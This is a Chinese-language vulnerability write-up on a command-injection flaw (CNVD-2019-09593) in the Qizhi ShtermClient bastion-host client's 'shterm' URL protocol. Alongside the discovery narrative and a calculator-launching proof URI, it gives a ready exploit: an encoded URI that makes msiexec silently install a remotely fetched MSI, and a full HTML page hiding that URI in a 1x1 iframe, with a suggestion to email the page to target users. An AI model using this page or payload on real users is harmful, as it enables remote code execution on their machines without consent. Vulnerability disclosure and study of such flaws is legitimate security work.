一、基本信息
參考:https://www.cnvd.org.cn/flaw/show/1559039
補丁信息:該漏洞的修復補丁已於2019年4月1日發布。如果客戶尚未修復該補丁,可聯系齊治科技的技術支持人員獲得具體幫助。
二、漏洞挖掘過程
這是我第一次接觸運維堡壘機,通過堡壘機登錄目標服務器/應用,就像在本地直接打開一樣,覺得很神奇。
1、挖掘過程
首先,在安裝齊治運維堡壘機客戶端軟件ShtermClient后,會在計算機上注冊一個偽協議“shterm”。堡壘機正是通過該協議,調用本地程序打開了連接到堡壘機的通道。如下圖是chrome瀏覽器打開鏈接時的提示。
我們可以在注冊表中找到它,Command子項指明了如何處理shterm協議的URI。
通過對該過程的抓包分析,發現將”app”:”mstsc”改為”app”:”calc”,生成的shterm URI即可打開本地的計算器。一度認為命令只能注入app參數,后來使用Procmon.exe監控LoadShell.exe的執行,發現會在%tmp%目錄下生成一些日志文件,通過分析日志文件以及多次測試,得到了最終可行的利用方案。
Client/inflate.php源代碼,可見服務端僅是將提交的數據,先進行壓縮,在進行base64編碼后即輸出。
2、漏洞驗證
如果你使用了存在漏洞的shtermclient,在瀏覽器中打開以下鏈接,將會在本機打開計算器calc.exe。
shterm://eJyrVkosKFCyUkpOzElWqgUAIf8Ejw==
三、漏洞利用
1、搭建測試環境
首先在靶機上安裝ShtermClient-2.1.1。
然后,在kali上搭建PHP環境,以便生成shterm URI,見下圖。
在靶機的瀏覽器中打開鏈接,即可彈出計算器。
2、Exploit
如下圖,提交該POST請求,生成的shterm URI將會執行命令:
msiexec.exe /q /n /i https://github.com/Yasushi/putty/archive/master.msi
然后,把shterm URI放入iframe中,將該html頁面的地址通過郵件或者你能想到的其他途徑發給目標用戶,即可達到不可告人的目的。
<html> <head> <meta charset="utf-8" /> <title>demo</title></head> <body> <h1>demo</h1> <h1>齊治堡壘機ShtermClient-2.1.1命令執行漏洞(CNVD-2019-09593)</h1> <br><h1>Hacked by StudyCat</h1> <iframe width="1" height="1" src="shterm://eJx1T8tqwzAQ/BWz5yC0tuu4uvWWQyAuDTm2yI9i48c6kt0klP57VzK4aaFCh5nZ2dndTygvoKBRGCUJbKCsPdsmKRNtmViVPsZxHByOGaonSbv96fwsB0RMIva8a+9BKeIHgSl/FUb8XPvss0KGtlhhPo7LQDfODoxf6qkyfWboentbc8KtK7tt/khuniGa7KzLvhms06bftuA1+CeTK/e9TK03ckhb3XLSpqyJ2mVBFnsamokMKLkBdjlZslwVKxx/oO7WI7U/stBdweSj4gAIBQoXOZvufltM4esbMSFnCg=="></iframe> </body> </html>
轉載請注明出處。